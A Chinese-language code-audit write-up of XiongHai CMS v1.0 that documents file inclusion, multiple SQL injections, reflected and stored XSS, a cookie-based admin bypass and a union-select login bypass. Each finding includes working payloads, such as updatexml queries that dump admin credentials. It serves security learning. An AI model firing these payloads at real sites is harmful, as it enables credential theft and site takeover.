A-A+

熊海CMS_V1.0: 审计过程与漏洞分析

2021年03月04日 文章转载 暂无评论 阅读 2,081 views 次

菜鸟入坑代码审计,熊海CMS审计学习,开始吧!

漏洞环境&搭建

访问install目录,填写相关配置。

漏洞分析

1. 入口处存在文件包含漏洞

漏洞触发文件为index.php,具体代码如下:

<span role="presentation">&lt;?php</span>
<span role="presentation">//单一入口模式</span>
<span role="presentation">error_reporting(0); //关闭错误显示</span>
<span role="presentation">$file=addslashes($_GET['r']); //接收文件名</span>
<span role="presentation">$action=$file==''?'index':$file; //判断为空或者等于index</span>
<span role="presentation">include('files/'.$action.'.php'); //载入相应文件</span>
<span role="presentation">?&gt;</span>

$file变量通过GET请求r参数获取文件名,经过了addslashes函数。第5行通过三元运算符判断文件是否为空,为空则载入files/index.php文件。反之赋值加载files/$file.php($action=$file)。这里的代码逻辑限制了只能访问files目录下的php文件(对文件进行了拼接$action.'.php')。而且addslashes转义单引号('),双引号("), 反斜杠(\),NULL

但这个还是可以有办法利用的,根据上面的分析,只需要解决以下两个问题,即可触发任意文件包含漏洞

  • 1.如何跳出files目录?
  • 2.如何截断拼接的php后缀?

解决方案也很简单,第一点我们使用../即可。第二点的话利用系统文件路径长度的限制来解决。

<span role="presentation">Windows 259个字节</span>
<span role="presentation">Linux 4096个字节</span>

扩展&回顾:

常见的截断还有:

  • %00
    • 利用条件:php <= 5.3
  • 0x00
    • POST
  • ?
    • 只能url里面用(GET)
  • #
    • 只能url里面用(GET)

漏洞利用:在根目录下新建一个tao.txt,文件内容为<?php phpinfo();?>

访问?r=../tao.txt......(为了排版,这里省略一手😜)

图片图片

2.UPDATE型SQL注入

漏洞发生在files/content.php文件中

图片

第8行使用了addslashes函数将$id进行了转义,而第14行的SQL语句用了单引号保护$navid变量,防止SQL注入,但是19行却存在明显的UPDATE型注入,利用报错执行sql命令

漏洞利用:

payload->1 or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)

图片

文件files/software.php13行也存在同样的问题。语句都一样😂

图片

修改访问为?r=software。利用报错注入,跟上面一样。

图片

3. SQL注入

漏洞发生在files/submit.php文件66行处

<span role="presentation">$name=$_POST['name'];</span>
<span role="presentation">$mail=$_POST['mail'];</span>
<span role="presentation">$url=$_POST['url'];</span>
<span role="presentation">$content=$_POST['content'];</span>
<span role="presentation">$cid=$_POST['cid'];</span>
<span role="presentation">....</span>
<span role="presentation">//查询用户头像数据</span>
<span role="presentation">$query = "SELECT * FROM interaction WHERE( mail = '$mail')";</span>

$mail 未作任何过滤,闭合括号,使用报错注入

图片

4. INSERT型SQL注入

漏洞发生在files/submit.php文件中

<span role="presentation">$tz=$_POST['tz'];// 第11行</span>
<span role="presentation">....</span>
<span role="presentation">$query = "INSERT INTO interaction (// 121行</span>
<span role="presentation">type,</span>
<span role="presentation">xs,</span>
<span role="presentation">cid,</span>
<span role="presentation">name,</span>
<span role="presentation">mail,</span>
<span role="presentation">url,</span>
<span role="presentation">touxiang,</span>
<span role="presentation">shebei,</span>
<span role="presentation">ip,</span>
<span role="presentation">content,</span>
<span role="presentation">tz,</span>
<span role="presentation">date</span>
<span role="presentation">) VALUES (</span>
<span role="presentation">'$type',</span>
<span role="presentation">'$xs',</span>
<span role="presentation">'$cid',</span>
<span role="presentation">'$name',</span>
<span role="presentation">'$mail',</span>
<span role="presentation">'$url',</span>
<span role="presentation">'$touxiang',</span>
<span role="presentation">'$shebei',</span>
<span role="presentation">'$ip',</span>
<span role="presentation">'$content',</span>
<span role="presentation">'$tz',</span>
<span role="presentation">now()</span>
<span role="presentation">)";</span>

由于11行$tzPOST请求传过来,未作任何处理。

漏洞利用:利用思路跟BlueCMS分析里面一样,插入两条数据(内容处显示回显结果)

<span role="presentation">name=Tao&amp;mail=Tao@qq.com&amp;url=http://www.baidu.com&amp;content=aaaaa测试&amp;cid=1&amp;tz=888',</span>
<span role="presentation">now()),('1','1','1','Tao','[email protected]','http://www.baidu.com','5','PC',</span>
<span role="presentation">'127.0.0.1',(select/*Tao*/user()),'Tao</span>

图片

5.两个SQL注入

<span role="presentation">$type=addslashes($_GET['type']);</span>
<span role="presentation">$cid=$_POST['cid'];</span>
<span role="presentation">if ($type=='comment'){//75行</span>
<span role="presentation">$fhlink="/?r=content&amp;cid=".$cid;</span>
<span role="presentation">$fhname="评论";</span>
<span role="presentation">$type=1;</span>
<span role="presentation">}</span>
<span role="presentation">if ($pltz==1){</span>
<span role="presentation">....</span>
<span role="presentation">   if ($type==1){</span>
<span role="presentation">   $query = "SELECT * FROM content WHERE( id= $cid)";// SQL注入</span>
<span role="presentation">   $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">   $wz = mysql_fetch_array($result);</span>
<span role="presentation">   $title=$wz['title'];</span>
<span role="presentation">}</span>

这里想要利用SQL注入,首先需要使得$pltz==1, 然后使$type==1, 而需要使$type=1的条件就是$type=='comment'。而这个我们是可以控制的,所以产生了此漏洞

<span role="presentation">if ($type=='download'){// 86行</span>
<span role="presentation">   $fhlink="/?r=software&amp;cid=".$cid;</span>
<span role="presentation">   $fhname="软件评论";</span>
<span role="presentation">   $type=3;</span>
<span role="presentation">}</span>
<span role="presentation">....</span>
<span role="presentation">....</span>
<span role="presentation">if ($type==3){</span>
<span role="presentation">$query = "SELECT * FROM download WHERE( id= $cid)";// SQL注入</span>
<span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">$wz = mysql_fetch_array($result);</span>
<span role="presentation">$title=$wz['title'];</span>

以上两个SQL注入漏洞点,产生原因一样。但是有点鸡助,因为使$pltz ==1需要开启新评论/留言通知站长功能。

<span role="presentation">//查询系统高级设置</span>
<span role="presentation">$query = "SELECT * FROM seniorset";</span>
<span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">$advanced = mysql_fetch_array($result);</span>
<span role="presentation">$lysh=$advanced ['lysh'];//留言审核</span>
<span role="presentation">$plsh=$advanced ['plsh'];//评论审核</span>
<span role="presentation">$pltz=$advanced ['pltz'];//新留言评论通知</span>
<span role="presentation">if ($pltz==1){</span>
<span role="presentation">......</span>
<span role="presentation">  if ($type==1){</span>
<span role="presentation">$query = "SELECT * FROM content WHERE( id= $cid)";// SQL注入</span>
<span role="presentation">    ....</span>
<span role="presentation">  if ($type==3){</span>
<span role="presentation">$query = "SELECT * FROM download WHERE( id= $cid)";// SQL注入</span>

图片

需要使$pltz ==1,才会进入if ($type==1)。然后执行sql语句,而$pltz是从seniorset表中来的(开启新评论/留言通知站长功能)。

图片

为了方便理解,简洁的整理了一下执行的流程:

<span role="presentation">$cid=$_POST['cid'];</span>
<span role="presentation">//查询系统高级设置</span>
<span role="presentation">$query = "SELECT * FROM seniorset";</span>
<span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">$advanced = mysql_fetch_array($result);</span>
<span role="presentation">$lysh=$advanced ['lysh'];//留言审核</span>
<span role="presentation">$plsh=$advanced ['plsh'];//评论审核</span>
<span role="presentation">$pltz=$advanced ['pltz'];//新留言评论通知</span>
<span role="presentation">if ($pltz==1){</span>
<span role="presentation">....</span>
<span role="presentation">if ($type==1){</span>
<span role="presentation">       $query = "SELECT * FROM content WHERE( id= $cid)";</span>
<span role="presentation">       $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">       $wz = mysql_fetch_array($result);</span>
<span role="presentation">  .....</span>
<span role="presentation">   if ($type==3){</span>
<span role="presentation">       $query = "SELECT * FROM download WHERE( id= $cid)";</span>
<span role="presentation">       $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">       $wz = mysql_fetch_array($result);</span>
<span role="presentation">       $title=$wz['title'];</span>
<span role="presentation">.....</span>
<span role="presentation">}</span>

这个漏洞利用的前提$pltz==1,也就是后台高级设置新评论/留言通知站长功能是打开的。(没有打开的话,我们可以想办法打一套组合拳,让其可以利用)

漏洞利用:

<span role="presentation">name=Tao&amp;mail=Tao1@qq.com&amp;url=http://www.baidu.com&amp;content=Tao测试测试哈哈哈哈&amp;cid=1)+or+updatexml(1,concat(0x7e,(select+concat(user,0x3a,password)+from+manage)),1)#</span>

图片

$type='comment'=1触发

图片

$type='download'=3触发

图片

6. 反射型xss

漏洞触发在files/contact.php文件

<span role="presentation">$page=addslashes($_GET['page']);</span>
<span role="presentation">if ($page&lt;&gt;""){</span>
<span role="presentation">if ($page&lt;&gt;1){</span>
<span role="presentation">$pages="第".$page."页 - ";</span>
<span role="presentation">}</span>
<span role="presentation">}</span>
<span role="presentation">// 12~15行</span>

$_GET['page']只进行了部分字符转义,其他未作处理就直接输出了。

图片

漏洞触发在files/list.php文件

<span role="presentation">$yemas=$_GET['page'];</span>
<span role="presentation">if ($yemas&lt;&gt;""){</span>
<span role="presentation">$yema=" - 第 $yemas 页";</span>
<span role="presentation">}else{</span>
<span role="presentation">$yema="";</span>
<span role="presentation">}</span>
<span role="presentation">// 23~28行</span>

跟上面同理

图片

漏洞触发在files/download.php文件

图片

7.存储型xss

漏洞产生在files/submit.php文件中,昵称未进行处理,便存储到数据库中

<span role="presentation">$name=$_POST['name'];</span>
<span role="presentation">$mail=$_POST['mail'];</span>
<span role="presentation">$url=$_POST['url'];</span>
<span role="presentation">$content=$_POST['content'];</span>
<span role="presentation">$cid=$_POST['cid'];</span>
<span role="presentation">$ip=$_SERVER["REMOTE_ADDR"];</span>
<span role="presentation">$tz=$_POST['tz'];</span>
<span role="presentation">.....</span>
<span role="presentation">$content= addslashes(strip_tags($content));//过滤HTML</span>
<span role="presentation">....</span>
<span role="presentation">$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date</span>
<span role="presentation">) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now()</span>
<span role="presentation">)";</span>

在评论区可以提交昵称、邮箱、网址、内容。但是显示评论和留言的地方只显示昵称。所以只有昵称处才存在存储型XSS

payload: Taoo<img src=1 onerror=alert(/Tao/);>

图片

图片

前台文章处

图片

查看后台

图片

8.垂直越权(逻辑漏洞)

漏洞发现在inc/checklogin.php

<span role="presentation">&lt;?php</span>
<span role="presentation">$user=$_COOKIE['user'];</span>
<span role="presentation">if ($user==""){</span>
<span role="presentation">header("Location: ?r=login");</span>
<span role="presentation">exit;  </span>
<span role="presentation">}</span>
<span role="presentation">?&gt;</span>

该代码存在越权访问,这里直接从COOKIE处赋值给$user。如果$user不为空就可以直接访问

我们通过调试来分析一下后台登陆的执行流程。

首先访问admin目录,默认跳转传参?r=login,也就是下面的执行过程,文件包含admin/files/login.php文件

图片

然后包含数据库连接文件

图片

图片

这后面没有什么(这是正常访问,输入账号密码的流程)。

但是注意我们要利用此漏洞的话,需要修改完cookie后访问admin/?r=index,admin/index.php会包含files文件夹下index.php文件,所以这里实际访问的文件就是admin/files/index.php,文件内容如下

图片

直接就包含inc/checklogin.php

<span role="presentation">&lt;?php</span>
<span role="presentation">$user=$_COOKIE['user'];</span>
<span role="presentation">if ($user==""){</span>
<span role="presentation">header("Location: ?r=login");</span>
<span role="presentation">exit;</span>
<span role="presentation">}</span>
<span role="presentation">?&gt;</span>

$_COOKIE['user']不为空就不跳转到?r=login,直接进入后台

还有一点就是,我们修改完cookie,使得$_COOKIE['user']不为空。不一定非要访问admin/?r=index,访问有载入inc/checklogin.php文件都可以

图片

漏洞利用:

记住管理处路劲:http://www.bearsea.com/admin/?r=index

退出管理员,来到登录处。添加cookie值

图片

再次访问后台。没登录也直接进入了后台页面😂

图片

9. 后台SQL注入

漏洞产生文件admin/files/login.php

<span role="presentation">$login=$_POST['login'];</span>
<span role="presentation">$user=$_POST['user'];</span>
<span role="presentation">$password=$_POST['password'];</span>
<span role="presentation">$checkbox=$_POST['checkbox'];</span>
 
<span role="presentation">if ($login&lt;&gt;""){</span>
<span role="presentation">$query = "SELECT * FROM manage WHERE user='$user'";</span>

$query存在SQL注入,这是$user未经过任何处理,直接代入语句中执行导致的

利用方式:

user: 1' or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)#

图片

登录,返回管理员账号和加密的密码

图片

10. 后台万能密码登录

漏洞产生文件admin/files/login.php

<span role="presentation">$login=$_POST['login'];</span>
<span role="presentation">$user=$_POST['user'];</span>
<span role="presentation">$password=$_POST['password'];</span>
<span role="presentation">$checkbox=$_POST['checkbox'];</span>
 
<span role="presentation">if ($login&lt;&gt;""){</span>
<span role="presentation">$query = "SELECT * FROM manage WHERE user='$user'";</span>
<span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span>
<span role="presentation">$users = mysql_fetch_array($result);</span>
<span role="presentation">if (!mysql_num_rows($result)) {  </span>
<span role="presentation">echo "&lt;Script language=JavaScript&gt;alert('抱歉,用户名或者密码错误。');history.back();&lt;/Script&gt;";</span>
<span role="presentation">exit;</span>
<span role="presentation">}else{</span>
<span role="presentation">$passwords=$users['password'];</span>
<span role="presentation">if(md5($password)&lt;&gt;$passwords){</span>
<span role="presentation">echo "&lt;Script language=JavaScript&gt;alert('抱歉,用户名或者密码错误。');history.back();&lt;/Script&gt;";</span>
<span role="presentation">exit;</span>
<span role="presentation">}</span>

$login 未经过任何处理拼接sql语句,且只进行了密码md5对比。可绕过

图片

payload:

user:-1' union select 1,2,3,'ace1785ac351e22a3d18e594d77a67dd',5,6,7,8 #

password: Tao

图片

图片

11. 后台多处漏洞

后台暂时不审了,下次一定👌

结束语

简单的cms审计不难,但漏洞的利用在实战中却需要各种bypass。而一些复杂的cms审计是需要一定的基础的,所以通过简单的cms来锻炼思路很重要。学习审计一些简单的cms,就是为了更好的上手常用的流行cms及框架。

还是那句话慢慢来比较快, 文章中有什么不足和错误的地方还望师傅们指正。

标签:

给我留言